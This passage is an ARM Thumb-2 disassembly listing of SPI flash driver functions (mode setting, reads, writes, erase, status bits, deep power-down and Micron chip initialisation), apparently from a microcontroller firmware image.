10101396: f8d2 611c ldr.w r6, [r2, #284] ; 0x11c 1010139a: f5a4 3444 sub.w r4, r4, #200704 ; 0x31000 1010139e: 042d lsls r5, r5, #16 101013a0: f405 3540 and.w r5, r5, #196608 ; 0x30000 101013a4: 4034 ands r4, r6 101013a6: 432c orrs r4, r5 101013a8: f3c3 030b ubfx r3, r3, #0, #12 101013ac: 4323 orrs r3, r4 101013ae: f8c2 311c str.w r3, [r2, #284] ; 0x11c 101013b2: 6814 ldr r4, [r2, #0] 101013b4: f8d2 3120 ldr.w r3, [r2, #288] ; 0x120 101013b8: f423 43ff bic.w r3, r3, #32640 ; 0x7f80 101013bc: f023 037f bic.w r3, r3, #127 ; 0x7f 101013c0: 2901 cmp r1, #1 101013c2: f424 147c bic.w r4, r4, #4128768 ; 0x3f0000 101013c6: f8c2 3120 str.w r3, [r2, #288] ; 0x120 101013ca: d011 beq.n 101013f0 <FLASH_SetSpiMode+0x74> 101013cc: 2902 cmp r1, #2 101013ce: d10b bne.n 101013e8 <FLASH_SetSpiMode+0x6c> 101013d0: 6c81 ldr r1, [r0, #72] ; 0x48 101013d2: f8d2 3120 ldr.w r3, [r2, #288] ; 0x120 101013d6: 430b orrs r3, r1 101013d8: f8c2 3120 str.w r3, [r2, #288] ; 0x120 101013dc: 070b lsls r3, r1, #28 101013de: bf4c ite mi 101013e0: f444 2400 orrmi.w r4, r4, #524288 ; 0x80000 101013e4: f444 2420 orrpl.w r4, r4, #655360 ; 0xa0000 101013e8: 4b09 ldr r3, [pc, #36] ; (10101410 <FLASH_SetSpiMode+0x94>) 101013ea: 601c str r4, [r3, #0] 101013ec: bc70 pop {r4, r5, r6} 101013ee: 4770 bx lr 101013f0: 6c41 ldr r1, [r0, #68] ; 0x44 101013f2: f8d2 3120 ldr.w r3, [r2, #288] ; 0x120 101013f6: 430b orrs r3, r1 101013f8: f8c2 3120 str.w r3, [r2, #288] ; 0x120 101013fc: 078a lsls r2, r1, #30 101013fe: 4b04 ldr r3, [pc, #16] ; (10101410 <FLASH_SetSpiMode+0x94>) 10101400: bf4c ite mi 10101402: f444 2480 orrmi.w r4, r4, #262144 ; 0x40000 10101406: f444 24a0 orrpl.w r4, r4, #327680 ; 0x50000 1010140a: 601c str r4, [r3, #0] 1010140c: bc70 pop {r4, r5, r6} 1010140e: 4770 bx lr 10101410: 48080000 .word 0x48080000 10101414 <FLASH_RxCmd>: 10101414: e92d 41f0 stmdb sp!, {r4, r5, r6, r7, r8, lr} 10101418: 2700 movs r7, #0 1010141a: 460e mov r6, r1 1010141c: 4680 mov r8, r0 1010141e: 4639 mov r1, r7 10101420: 4813 ldr r0, [pc, #76] ; (10101470 <FLASH_RxCmd+0x5c>) 10101422: 4614 mov r4, r2 10101424: f7ff ffaa bl 1010137c <FLASH_SetSpiMode> 10101428: 2201 movs r2, #1 1010142a: 4d12 ldr r5, [pc, #72] ; (10101474 <FLASH_RxCmd+0x60>) 1010142c: b2b3 uxth r3, r6 1010142e: 60af str r7, [r5, #8] 10101430: 606b str r3, [r5, #4] 10101432: 682b ldr r3, [r5, #0] 10101434: f423 2370 bic.w r3, r3, #983040 ; 0xf0000 10101438: f423 7340 bic.w r3, r3, #768 ; 0x300 1010143c: f443 7340 orr.w r3, r3, #768 ; 0x300 10101440: 602b str r3, [r5, #0] 10101442: 4638 mov r0, r7 10101444: f885 8060 strb.w r8, [r5, #96] ; 0x60 10101448: 60aa str r2, [r5, #8] 1010144a: f000 f815 bl 10101478 <FLASH_WaitBusy> 1010144e: 60af str r7, [r5, #8] 10101450: b146 cbz r6, 10101464 <FLASH_RxCmd+0x50> 10101452: 4622 mov r2, r4 10101454: 4628 mov r0, r5 10101456: 19a1 adds r1, r4, r6 10101458: f890 3060 ldrb.w r3, [r0, #96] ; 0x60 1010145c: f802 3b01 strb.w r3, [r2], #1 10101460: 428a cmp r2, r1 10101462: d1f9 bne.n 10101458 <FLASH_RxCmd+0x44> 10101464: 4802 ldr r0, [pc, #8] ; (10101470 <FLASH_RxCmd+0x5c>) 10101466: e8bd 41f0 ldmia.w sp!, {r4, r5, r6, r7, r8, lr} 1010146a: 7901 ldrb r1, [r0, #4] 1010146c: f7ff bf86 b.w 1010137c <FLASH_SetSpiMode> 10101470: 10000038 .word 0x10000038 10101474: 48080000 .word 0x48080000 10101478 <FLASH_WaitBusy>: 10101478: 2300 movs r3, #0 1010147a: b5f0 push {r4, r5, r6, r7, lr} 1010147c: 4604 mov r4, r0 1010147e: b083 sub sp, #12 10101480: f88d 3007 strb.w r3, [sp, #7] 10101484: 4f1a ldr r7, [pc, #104] ; (101014f0 <FLASH_WaitBusy+0x78>) 10101486: 4d1b ldr r5, [pc, #108] ; (101014f4 <FLASH_WaitBusy+0x7c>) 10101488: 1e46 subs r6, r0, #1 1010148a: b99c cbnz r4, 101014b4 <FLASH_WaitBusy+0x3c> 1010148c: 6aab ldr r3, [r5, #40] ; 0x28 1010148e: f003 0301 and.w r3, r3, #1 10101492: 2b00 cmp r3, #0 10101494: d1f9 bne.n 1010148a <FLASH_WaitBusy+0x12> 10101496: b003 add sp, #12 10101498: bdf0 pop {r4, r5, r6, r7, pc} 1010149a: f10d 0207 add.w r2, sp, #7 1010149e: 2101 movs r1, #1 101014a0: f897 004e ldrb.w r0, [r7, #78] ; 0x4e 101014a4: f7ff ffb6 bl 10101414 <FLASH_RxCmd> 101014a8: f89d 3007 ldrb.w r3, [sp, #7] 101014ac: 697a ldr r2, [r7, #20] 101014ae: 4213 tst r3, r2 101014b0: d115 bne.n 101014de <FLASH_WaitBusy+0x66> 101014b2: 2301 movs r3, #1 101014b4: 2e01 cmp r6, #1 101014b6: d904 bls.n 101014c2 <FLASH_WaitBusy+0x4a> 101014b8: 2c03 cmp r4, #3 101014ba: d0ee beq.n 1010149a <FLASH_WaitBusy+0x22> 101014bc: 2b00 cmp r3, #0 101014be: d1e4 bne.n 1010148a <FLASH_WaitBusy+0x12> 101014c0: e7e9 b.n 10101496 <FLASH_WaitBusy+0x1e> 101014c2: f10d 0207 add.w r2, sp, #7 101014c6: 2101 movs r1, #1 101014c8: f897 004e ldrb.w r0, [r7, #78] ; 0x4e 101014cc: f7ff ffa2 bl 10101414 <FLASH_RxCmd> 101014d0: f89d 2007 ldrb.w r2, [sp, #7] 101014d4: 693b ldr r3, [r7, #16] 101014d6: 4013 ands r3, r2 101014d8: 2b00 cmp r3, #0 101014da: d1d6 bne.n 1010148a <FLASH_WaitBusy+0x12> 101014dc: e7db b.n 10101496 <FLASH_WaitBusy+0x1e> 101014de: 693a ldr r2, [r7, #16] 101014e0: 4213 tst r3, r2 101014e2: bf14 ite ne 101014e4: 2301 movne r3, #1 101014e6: 2300 moveq r3, #0 101014e8: 2b00 cmp r3, #0 101014ea: d1ce bne.n 1010148a <FLASH_WaitBusy+0x12> 101014ec: e7d3 b.n 10101496 <FLASH_WaitBusy+0x1e> 101014ee: bf00 nop 101014f0: 10000038 .word 0x10000038 101014f4: 48080000 .word 0x48080000 101014f8 <FLASH_WriteEn>: 101014f8: b508 push {r3, lr} 101014fa: 2001 movs r0, #1 101014fc: f7ff ffbc bl 10101478 <FLASH_WaitBusy> 10101500: 2200 movs r2, #0 10101502: 4b05 ldr r3, [pc, #20] ; (10101518 <FLASH_WriteEn+0x20>) 10101504: 4611 mov r1, r2 10101506: f893 004c ldrb.w r0, [r3, #76] ; 0x4c 1010150a: f7ff fec7 bl 1010129c <FLASH_TxCmd> 1010150e: 2003 movs r0, #3 10101510: e8bd 4008 ldmia.w sp!, {r3, lr} 10101514: f7ff bfb0 b.w 10101478 <FLASH_WaitBusy> 10101518: 10000038 .word 0x10000038 1010151c <FLASH_TxData256B>: 1010151c: b5f8 push {r3, r4, r5, r6, r7, lr} 1010151e: 4b38 ldr r3, [pc, #224] ; (10101600 <FLASH_TxData256B+0xe4>) 10101520: f5b1 7f80 cmp.w r1, #256 ; 0x100 10101524: 460d mov r5, r1 10101526: 4607 mov r7, r0 10101528: 4614 mov r4, r2 1010152a: 681e ldr r6, [r3, #0] 1010152c: d854 bhi.n 101015d8 <FLASH_TxData256B+0xbc> 1010152e: 07aa lsls r2, r5, #30 10101530: d14c bne.n 101015cc <FLASH_TxData256B+0xb0> 10101532: 07bb lsls r3, r7, #30 10101534: d144 bne.n 101015c0 <FLASH_TxData256B+0xa4> 10101536: fa55 f387 uxtab r3, r5, r7 1010153a: f5b3 7f80 cmp.w r3, #256 ; 0x100 1010153e: d839 bhi.n 101015b4 <FLASH_TxData256B+0x98> 10101540: f7ff ffda bl 101014f8 <FLASH_WriteEn> 10101544: 2300 movs r3, #0 10101546: 4a2e ldr r2, [pc, #184] ; (10101600 <FLASH_TxData256B+0xe4>) 10101548: 6093 str r3, [r2, #8] 1010154a: 492e ldr r1, [pc, #184] ; (10101604 <FLASH_TxData256B+0xe8>) 1010154c: 6813 ldr r3, [r2, #0] 1010154e: f891 1059 ldrb.w r1, [r1, #89] ; 0x59 10101552: f423 137c bic.w r3, r3, #4128768 ; 0x3f0000 10101556: f423 7340 bic.w r3, r3, #768 ; 0x300 1010155a: 2903 cmp r1, #3 1010155c: 6013 str r3, [r2, #0] 1010155e: ea4f 2017 mov.w r0, r7, lsr #8 10101562: ea4f 4317 mov.w r3, r7, lsr #16 10101566: f8c2 1118 str.w r1, [r2, #280] ; 0x118 1010156a: d03b beq.n 101015e4 <FLASH_TxData256B+0xc8> 1010156c: b1e1 cbz r1, 101015a8 <FLASH_TxData256B+0x8c> 1010156e: 2000 movs r0, #0 10101570: f7ff feda bl 10101328 <FLASH_SW_CS_Control> 10101574: 2301 movs r3, #1 10101576: 4822 ldr r0, [pc, #136] ; (10101600 <FLASH_TxData256B+0xe4>) 10101578: 6083 str r3, [r0, #8] 1010157a: b13d cbz r5, 1010158c <FLASH_TxData256B+0x70> 1010157c: 2300 movs r3, #0 1010157e: 1f22 subs r2, r4, #4 10101580: f852 1f04 ldr.w r1, [r2, #4]! 10101584: 3304 adds r3, #4 10101586: 429d cmp r5, r3 10101588: 6601 str r1, [r0, #96] ; 0x60 1010158a: d8f9 bhi.n 10101580 <FLASH_TxData256B+0x64> 1010158c: 2001 movs r0, #1 1010158e: f7ff fecb bl 10101328 <FLASH_SW_CS_Control> 10101592: 4c1b ldr r4, [pc, #108] ; (10101600 <FLASH_TxData256B+0xe4>) 10101594: 6aa3 ldr r3, [r4, #40] ; 0x28 10101596: f013 0301 ands.w r3, r3, #1 1010159a: d1fb bne.n 10101594 <FLASH_TxData256B+0x78> 1010159c: 60a3 str r3, [r4, #8] 1010159e: 2002 movs r0, #2 101015a0: f7ff ff6a bl 10101478 <FLASH_WaitBusy> 101015a4: 6026 str r6, [r4, #0] 101015a6: bdf8 pop {r3, r4, r5, r6, r7, pc} 101015a8: 2302 movs r3, #2 101015aa: ba3f rev r7, r7 101015ac: f882 3060 strb.w r3, [r2, #96] ; 0x60 101015b0: 6617 str r7, [r2, #96] ; 0x60 101015b2: e7dc b.n 1010156e <FLASH_TxData256B+0x52> 101015b4: f240 1145 movw r1, #325 ; 0x145 101015b8: 4813 ldr r0, [pc, #76] ; (10101608 <FLASH_TxData256B+0xec>) 101015ba: f7ff f959 bl 10100870 <io_assert_failed> 101015be: e7bf b.n 10101540 <FLASH_TxData256B+0x24> 101015c0: f44f 71a2 mov.w r1, #324 ; 0x144 101015c4: 4810 ldr r0, [pc, #64] ; (10101608 <FLASH_TxData256B+0xec>) 101015c6: f7ff f953 bl 10100870 <io_assert_failed> 101015ca: e7b4 b.n 10101536 <FLASH_TxData256B+0x1a> 101015cc: f240 1143 movw r1, #323 ; 0x143 101015d0: 480d ldr r0, [pc, #52] ; (10101608 <FLASH_TxData256B+0xec>) 101015d2: f7ff f94d bl 10100870 <io_assert_failed> 101015d6: e7ac b.n 10101532 <FLASH_TxData256B+0x16> 101015d8: f44f 71a1 mov.w r1, #322 ; 0x142 101015dc: 480a ldr r0, [pc, #40] ; (10101608 <FLASH_TxData256B+0xec>) 101015de: f7ff f947 bl 10100870 <io_assert_failed> 101015e2: e7a4 b.n 1010152e <FLASH_TxData256B+0x12> 101015e4: 021b lsls r3, r3, #8 101015e6: f403 437f and.w r3, r3, #65280 ; 0xff00 101015ea: ea43 6707 orr.w r7, r3, r7, lsl #24 101015ee: 0400 lsls r0, r0, #16 101015f0: f047 0702 orr.w r7, r7, #2 101015f4: f400 007f and.w r0, r0, #16711680 ; 0xff0000 101015f8: 4307 orrs r7, r0 101015fa: 6617 str r7, [r2, #96] ; 0x60 101015fc: e7b7 b.n 1010156e <FLASH_TxData256B+0x52> 101015fe: bf00 nop 10101600: 48080000 .word 0x48080000 10101604: 10000038 .word 0x10000038 10101608: 101d4f94 .word 0x101d4f94 1010160c <FLASH_TxData12B>: 1010160c: b5f8 push {r3, r4, r5, r6, r7, lr} 1010160e: 4b34 ldr r3, [pc, #208] ; (101016e0 <FLASH_TxData12B+0xd4>) 10101610: 290c cmp r1, #12 10101612: 460e mov r6, r1 10101614: 4607 mov r7, r0 10101616: 4614 mov r4, r2 10101618: 681d ldr r5, [r3, #0] 1010161a: d84e bhi.n 101016ba <FLASH_TxData12B+0xae> 1010161c: 07b2 lsls r2, r6, #30 1010161e: d146 bne.n 101016ae <FLASH_TxData12B+0xa2> 10101620: 07bb lsls r3, r7, #30 10101622: d13e bne.n 101016a2 <FLASH_TxData12B+0x96> 10101624: fa56 f387 uxtab r3, r6, r7 10101628: f5b3 7f80 cmp.w r3, #256 ; 0x100 1010162c: d833 bhi.n 10101696 <FLASH_TxData12B+0x8a> 1010162e: f7ff ff63 bl 101014f8 <FLASH_WriteEn> 10101632: 2300 movs r3, #0 10101634: 4a2a ldr r2, [pc, #168] ; (101016e0 <FLASH_TxData12B+0xd4>) 10101636: 6093 str r3, [r2, #8] 10101638: 492a ldr r1, [pc, #168] ; (101016e4 <FLASH_TxData12B+0xd8>) 1010163a: 6813 ldr r3, [r2, #0] 1010163c: f891 1059 ldrb.w r1, [r1, #89] ; 0x59 10101640: f423 137c bic.w r3, r3, #4128768 ; 0x3f0000 10101644: f423 7340 bic.w r3, r3, #768 ; 0x300 10101648: 2903 cmp r1, #3 1010164a: 6013 str r3, [r2, #0] 1010164c: ea4f 2017 mov.w r0, r7, lsr #8 10101650: ea4f 4317 mov.w r3, r7, lsr #16 10101654: f8c2 1118 str.w r1, [r2, #280] ; 0x118 10101658: d035 beq.n 101016c6 <FLASH_TxData12B+0xba> 1010165a: b1b1 cbz r1, 1010168a <FLASH_TxData12B+0x7e> 1010165c: b146 cbz r6, 10101670 <FLASH_TxData12B+0x64> 1010165e: 4622 mov r2, r4 10101660: 481f ldr r0, [pc, #124] ; (101016e0 <FLASH_TxData12B+0xd4>) 10101662: 19a1 adds r1, r4, r6 10101664: f812 3b01 ldrb.w r3, [r2], #1 10101668: 428a cmp r2, r1 1010166a: f880 3060 strb.w r3, [r0, #96] ; 0x60 1010166e: d1f9 bne.n 10101664 <FLASH_TxData12B+0x58> 10101670: 2301 movs r3, #1 10101672: 4c1b ldr r4, [pc, #108] ; (101016e0 <FLASH_TxData12B+0xd4>) 10101674: 60a3 str r3, [r4, #8] 10101676: 6aa3 ldr r3, [r4, #40] ; 0x28 10101678: f013 0301 ands.w r3, r3, #1 1010167c: d1fb bne.n 10101676 <FLASH_TxData12B+0x6a> 1010167e: 60a3 str r3, [r4, #8] 10101680: 2002 movs r0, #2 10101682: f7ff fef9 bl 10101478 <FLASH_WaitBusy> 10101686: 6025 str r5, [r4, #0] 10101688: bdf8 pop {r3, r4, r5, r6, r7, pc} 1010168a: 2302 movs r3, #2 1010168c: ba3f rev r7, r7 1010168e: f882 3060 strb.w r3, [r2, #96] ; 0x60 10101692: 6617 str r7, [r2, #96] ; 0x60 10101694: e7e2 b.n 1010165c <FLASH_TxData12B+0x50> 10101696: f44f 71c8 mov.w r1, #400 ; 0x190 1010169a: 4813 ldr r0, [pc, #76] ; (101016e8 <FLASH_TxData12B+0xdc>) 1010169c: f7ff f8e8 bl 10100870 <io_assert_failed> 101016a0: e7c5 b.n 1010162e <FLASH_TxData12B+0x22> 101016a2: f240 118f movw r1, #399 ; 0x18f 101016a6: 4810 ldr r0, [pc, #64] ; (101016e8 <FLASH_TxData12B+0xdc>) 101016a8: f7ff f8e2 bl 10100870 <io_assert_failed> 101016ac: e7ba b.n 10101624 <FLASH_TxData12B+0x18> 101016ae: f44f 71c7 mov.w r1, #398 ; 0x18e 101016b2: 480d ldr r0, [pc, #52] ; (101016e8 <FLASH_TxData12B+0xdc>) 101016b4: f7ff f8dc bl 10100870 <io_assert_failed> 101016b8: e7b2 b.n 10101620 <FLASH_TxData12B+0x14> 101016ba: f240 118d movw r1, #397 ; 0x18d 101016be: 480a ldr r0, [pc, #40] ; (101016e8 <FLASH_TxData12B+0xdc>) 101016c0: f7ff f8d6 bl 10100870 <io_assert_failed> 101016c4: e7aa b.n 1010161c <FLASH_TxData12B+0x10> 101016c6: 021b lsls r3, r3, #8 101016c8: f403 437f and.w r3, r3, #65280 ; 0xff00 101016cc: ea43 6707 orr.w r7, r3, r7, lsl #24 101016d0: 0400 lsls r0, r0, #16 101016d2: f047 0702 orr.w r7, r7, #2 101016d6: f400 007f and.w r0, r0, #16711680 ; 0xff0000 101016da: 4307 orrs r7, r0 101016dc: 6617 str r7, [r2, #96] ; 0x60 101016de: e7bd b.n 1010165c <FLASH_TxData12B+0x50> 101016e0: 48080000 .word 0x48080000 101016e4: 10000038 .word 0x10000038 101016e8: 101d4fb4 .word 0x101d4fb4 101016ec <FLASH_SetStatus>: 101016ec: b570 push {r4, r5, r6, lr} 101016ee: 4604 mov r4, r0 101016f0: 460d mov r5, r1 101016f2: 4616 mov r6, r2 101016f4: f7ff ff00 bl 101014f8 <FLASH_WriteEn> 101016f8: 4620 mov r0, r4 101016fa: 4632 mov r2, r6 101016fc: b2e9 uxtb r1, r5 101016fe: f7ff fdcd bl 1010129c <FLASH_TxCmd> 10101702: 2002 movs r0, #2 10101704: e8bd 4070 ldmia.w sp!, {r4, r5, r6, lr} 10101708: f7ff beb6 b.w 10101478 <FLASH_WaitBusy> 1010170c <FLASH_Erase>: 1010170c: b5f0 push {r4, r5, r6, r7, lr} 1010170e: 2802 cmp r0, #2 10101710: b083 sub sp, #12 10101712: 4604 mov r4, r0 10101714: 460d mov r5, r1 10101716: d833 bhi.n 10101780 <FLASH_Erase+0x74> 10101718: 4e25 ldr r6, [pc, #148] ; (101017b0 <FLASH_Erase+0xa4>) 1010171a: f896 3059 ldrb.w r3, [r6, #89] ; 0x59 1010171e: b9bb cbnz r3, 10101750 <FLASH_Erase+0x44> 10101720: 0e29 lsrs r1, r5, #24 10101722: 0c2a lsrs r2, r5, #16 10101724: 0a2b lsrs r3, r5, #8 10101726: f88d 5007 strb.w r5, [sp, #7] 1010172a: f88d 1004 strb.w r1, [sp, #4] 1010172e: f88d 2005 strb.w r2, [sp, #5] 10101732: f88d 3006 strb.w r3, [sp, #6] 10101736: 2704 movs r7, #4 10101738: f7ff fede bl 101014f8 <FLASH_WriteEn> 1010173c: b1ac cbz r4, 1010176a <FLASH_Erase+0x5e> 1010173e: 2c01 cmp r4, #1 10101740: d02f beq.n 101017a2 <FLASH_Erase+0x96> 10101742: 2c02 cmp r4, #2 10101744: d022 beq.n 1010178c <FLASH_Erase+0x80> 10101746: 2002 movs r0, #2 10101748: f7ff fe96 bl 10101478 <FLASH_WaitBusy> 1010174c: b003 add sp, #12 1010174e: bdf0 pop {r4, r5, r6, r7, pc} 10101750: 0c2a lsrs r2, r5, #16 10101752: 0a2b lsrs r3, r5, #8 10101754: 2703 movs r7, #3 10101756: f88d 5006 strb.w r5, [sp, #6] 1010175a: f88d 2004 strb.w r2, [sp, #4] 1010175e: f88d 3005 strb.w r3, [sp, #5] 10101762: f7ff fec9 bl 101014f8 <FLASH_WriteEn> 10101766: 2c00 cmp r4, #0 10101768: d1e9 bne.n 1010173e <FLASH_Erase+0x32> 1010176a: f896 0052 ldrb.w r0, [r6, #82] ; 0x52 1010176e: 4622 mov r2, r4 10101770: 4621 mov r1, r4 10101772: f7ff fd93 bl 1010129c <FLASH_TxCmd> 10101776: 2002 movs r0, #2 10101778: f7ff fe7e bl 10101478 <FLASH_WaitBusy> 1010177c: b003 add sp, #12 1010177e: bdf0 pop {r4, r5, r6, r7, pc} 10101780: f240 2113 movw r1, #531 ; 0x213 10101784: 480b ldr r0, [pc, #44] ; (101017b4 <FLASH_Erase+0xa8>) 10101786: f7ff f873 bl 10100870 <io_assert_failed> 1010178a: e7c5 b.n 10101718 <FLASH_Erase+0xc> 1010178c: 4639 mov r1, r7 1010178e: f896 0054 ldrb.w r0, [r6, #84] ; 0x54 10101792: aa01 add r2, sp, #4 10101794: f7ff fd82 bl 1010129c <FLASH_TxCmd> 10101798: 2002 movs r0, #2 1010179a: f7ff fe6d bl 10101478 <FLASH_WaitBusy> 1010179e: b003 add sp, #12 101017a0: bdf0 pop {r4, r5, r6, r7, pc} 101017a2: 4639 mov r1, r7 101017a4: f896 0053 ldrb.w r0, [r6, #83] ; 0x53 101017a8: aa01 add r2, sp, #4 101017aa: f7ff fd77 bl 1010129c <FLASH_TxCmd> 101017ae: e7ca b.n 10101746 <FLASH_Erase+0x3a> 101017b0: 10000038 .word 0x10000038 101017b4: 101d4f88 .word 0x101d4f88 101017b8 <FLASH_DeepPowerDown>: 101017b8: 2801 cmp r0, #1 101017ba: b508 push {r3, lr} 101017bc: d00e beq.n 101017dc <FLASH_DeepPowerDown+0x24> 101017be: 2200 movs r2, #0 101017c0: 4b0e ldr r3, [pc, #56] ; (101017fc <FLASH_DeepPowerDown+0x44>) 101017c2: 4611 mov r1, r2 101017c4: f893 0055 ldrb.w r0, [r3, #85] ; 0x55 101017c8: f7ff fd68 bl 1010129c <FLASH_TxCmd> 101017cc: 2064 movs r0, #100 ; 0x64 101017ce: 4b0c ldr r3, [pc, #48] ; (10101800 <FLASH_DeepPowerDown+0x48>) 101017d0: 4798 blx r3 101017d2: 2001 movs r0, #1 101017d4: e8bd 4008 ldmia.w sp!, {r3, lr} 101017d8: f7ff be4e b.w 10101478 <FLASH_WaitBusy> 101017dc: 4b09 ldr r3, [pc, #36] ; (10101804 <FLASH_DeepPowerDown+0x4c>) 101017de: 681b ldr r3, [r3, #0] 101017e0: 031b lsls r3, r3, #12 101017e2: d400 bmi.n 101017e6 <FLASH_DeepPowerDown+0x2e> 101017e4: bd08 pop {r3, pc} 101017e6: f7ff fe87 bl 101014f8 <FLASH_WriteEn> 101017ea: 2200 movs r2, #0 101017ec: 4b03 ldr r3, [pc, #12] ; (101017fc <FLASH_DeepPowerDown+0x44>) 101017ee: 4611 mov r1, r2 101017f0: f893 0056 ldrb.w r0, [r3, #86] ; 0x56 101017f4: e8bd 4008 ldmia.w sp!, {r3, lr} 101017f8: f7ff bd50 b.w 1010129c <FLASH_TxCmd> 101017fc: 10000038 .word 0x10000038 10101800: 10100949 .word 0x10100949 10101804: 4800022c .word 0x4800022c 10101808 <FLASH_SetStatusBits>: 10101808: b5f0 push {r4, r5, r6, r7, lr} 1010180a: 460e mov r6, r1 1010180c: 4605 mov r5, r0 1010180e: 4c32 ldr r4, [pc, #200] ; (101018d8 <FLASH_SetStatusBits+0xd0>) 10101810: b083 sub sp, #12 10101812: f894 004e ldrb.w r0, [r4, #78] ; 0x4e 10101816: aa01 add r2, sp, #4 10101818: 2101 movs r1, #1 1010181a: f7ff fdfb bl 10101414 <FLASH_RxCmd> 1010181e: 2e01 cmp r6, #1 10101820: ea4f 2715 mov.w r7, r5, lsr #8 10101824: d032 beq.n 1010188c <FLASH_SetStatusBits+0x84> 10101826: f89d 3004 ldrb.w r3, [sp, #4] 1010182a: 69a2 ldr r2, [r4, #24] 1010182c: ea23 0505 bic.w r5, r3, r5 10101830: f88d 5004 strb.w r5, [sp, #4] 10101834: 2a00 cmp r2, #0 10101836: d13f bne.n 101018b8 <FLASH_SetStatusBits+0xb0> 10101838: 2501 movs r5, #1 1010183a: f894 3051 ldrb.w r3, [r4, #81] ; 0x51 1010183e: b1c3 cbz r3, 10101872 <FLASH_SetStatusBits+0x6a> 10101840: f7ff fe5a bl 101014f8 <FLASH_WriteEn> 10101844: aa01 add r2, sp, #4 10101846: 2101 movs r1, #1 10101848: f894 0050 ldrb.w r0, [r4, #80] ; 0x50 1010184c: f7ff fd26 bl 1010129c <FLASH_TxCmd> 10101850: 2002 movs r0, #2 10101852: f7ff fe11 bl 10101478 <FLASH_WaitBusy> 10101856: f7ff fe4f bl 101014f8 <FLASH_WriteEn> 1010185a: f894 0051 ldrb.w r0, [r4, #81] ; 0x51 1010185e: f10d 0205 add.w r2, sp, #5 10101862: 2101 movs r1, #1 10101864: f7ff fd1a bl 1010129c <FLASH_TxCmd> 10101868: 2002 movs r0, #2 1010186a: f7ff fe05 bl 10101478 <FLASH_WaitBusy> 1010186e: b003 add sp, #12 10101870: bdf0 pop {r4, r5, r6, r7, pc} 10101872: f7ff fe41 bl 101014f8 <FLASH_WriteEn> 10101876: aa01 add r2, sp, #4 10101878: 4629 mov r1, r5 1010187a: f894 0050 ldrb.w r0, [r4, #80] ; 0x50 1010187e: f7ff fd0d bl 1010129c <FLASH_TxCmd> 10101882: 2002 movs r0, #2 10101884: f7ff fdf8 bl 10101478 <FLASH_WaitBusy> 10101888: b003 add sp, #12 1010188a: bdf0 pop {r4, r5, r6, r7, pc} 1010188c: f89d 2004 ldrb.w r2, [sp, #4] 10101890: 69a3 ldr r3, [r4, #24] 10101892: 4315 orrs r5, r2 10101894: f88d 5004 strb.w r5, [sp, #4] 10101898: 2b00 cmp r3, #0 1010189a: d0cd beq.n 10101838 <FLASH_SetStatusBits+0x30> 1010189c: 4631 mov r1, r6 1010189e: f10d 0205 add.w r2, sp, #5 101018a2: f894 004f ldrb.w r0, [r4, #79] ; 0x4f 101018a6: f7ff fdb5 bl 10101414 <FLASH_RxCmd> 101018aa: f89d 3005 ldrb.w r3, [sp, #5] 101018ae: 431f orrs r7, r3 101018b0: f88d 7005 strb.w r7, [sp, #5] 101018b4: 2502 movs r5, #2 101018b6: e7c0 b.n 1010183a <FLASH_SetStatusBits+0x32> 101018b8: f10d 0205 add.w r2, sp, #5 101018bc: 2101 movs r1, #1 101018be: f894 004f ldrb.w r0, [r4, #79] ; 0x4f 101018c2: f7ff fda7 bl 10101414 <FLASH_RxCmd> 101018c6: f89d 3005 ldrb.w r3, [sp, #5] 101018ca: ea23 0707 bic.w r7, r3, r7 101018ce: f88d 7005 strb.w r7, [sp, #5] 101018d2: 2502 movs r5, #2 101018d4: e7b1 b.n 1010183a <FLASH_SetStatusBits+0x32> 101018d6: bf00 nop 101018d8: 10000038 .word 0x10000038 101018dc <FLASH_StructInit_Micron>: 101018dc: e92d 4ff0 stmdb sp!, {r4, r5, r6, r7, r8, r9, sl, fp, lr} 101018e0: 2602 movs r6, #2 101018e2: 6146 str r6, [r0, #20] 101018e4: 26a2 movs r6, #162 ; 0xa2 101018e6: 6346 str r6, [r0, #52] ; 0x34 101018e8: 26d2 movs r6, #210 ; 0xd2 101018ea: 6386 str r6, [r0, #56] ; 0x38 101018ec: 263b movs r6, #59 ; 0x3b 101018ee: 6246 str r6, [r0, #36] ; 0x24 101018f0: f44f 7601 mov.w r6, #516 ; 0x204 101018f4: 6446 str r6, [r0, #68] ; 0x44 101018f6: 2612 movs r6, #18 101018f8: 6406 str r6, [r0, #64] ; 0x40 101018fa: 26eb movs r6, #235 ; 0xeb 101018fc: 6306 str r6, [r0, #48] ; 0x30 101018fe: 266b movs r6, #107 ; 0x6b 10101900: 62c6 str r6, [r0, #44] ; 0x2c 10101902: f44f 7644 mov.w r6, #784 ; 0x310 10101906: 6486 str r6, [r0, #72] ; 0x48 10101908: f04f 0606 mov.w r6, #6 1010190c: 2300 movs r3, #0 1010190e: 2201 movs r2, #1 10101910: 2103 movs r1, #3 10101912: 2505 movs r5, #5 10101914: 24bb movs r4, #187 ; 0xbb 10101916: f880 604c strb.w r6, [r0, #76] ; 0x4c 1010191a: f04f 0a09 mov.w sl, #9 1010191e: 2732 movs r7, #50 ; 0x32 10101920: f04f 0b9f mov.w fp, #159 ; 0x9f 10101924: f04f 09c7 mov.w r9, #199 ; 0xc7 10101928: f04f 08d8 mov.w r8, #216 ; 0xd8 1010192c: f04f 0c20 mov.w ip, #32 10101930: f04f 0eab mov.w lr, #171 ; 0xab 10101934: f06f 0646 mvn.w r6, #70 ; 0x46 10101938: f880 a020 strb.w sl, [r0, #32] 1010193c: 63c7 str r7, [r0, #60] ; 0x3c 1010193e: f880 b04d strb.w fp, [r0, #77] ; 0x4d 10101942: f880 9052 strb.w r9, [r0, #82] ; 0x52 10101946: f880 8053 strb.w r8, [r0, #83] ; 0x53 1010194a: f880 c054 strb.w ip, [r0, #84] ; 0x54 1010194e: f880 e055 strb.w lr, [r0, #85] ; 0x55 10101952: f880 6056 strb.w r6, [r0, #86] ; 0x56 10101956: 6001 str r1, [r0, #0] 10101958: 7142 strb r2, [r0, #5] 1010195a: 6102 str r2, [r0, #16] 1010195c: 7742 strb r2, [r0, #29] 1010195e: f880 2050 strb.w r2, [r0, #80] ; 0x50 10101962: 60c3 str r3, [r0, #12] 10101964: 6183 str r3, [r0, #24] 10101966: 7783 strb r3, [r0, #30] 10101968: f880 304f strb.w r3, [r0, #79] ; 0x4f 1010196c: f880 3051 strb.w r3, [r0, #81] ; 0x51 10101970: f880 3058 strb.w r3, [r0, #88] ; 0x58 10101974: 77c5 strb r5, [r0, #31] 10101976: f880 504e strb.w r5, [r0, #78] ; 0x4e 1010197a: 6284 str r4, [r0, #40] ; 0x28 1010197c: 65c4 str r4, [r0, #92] ; 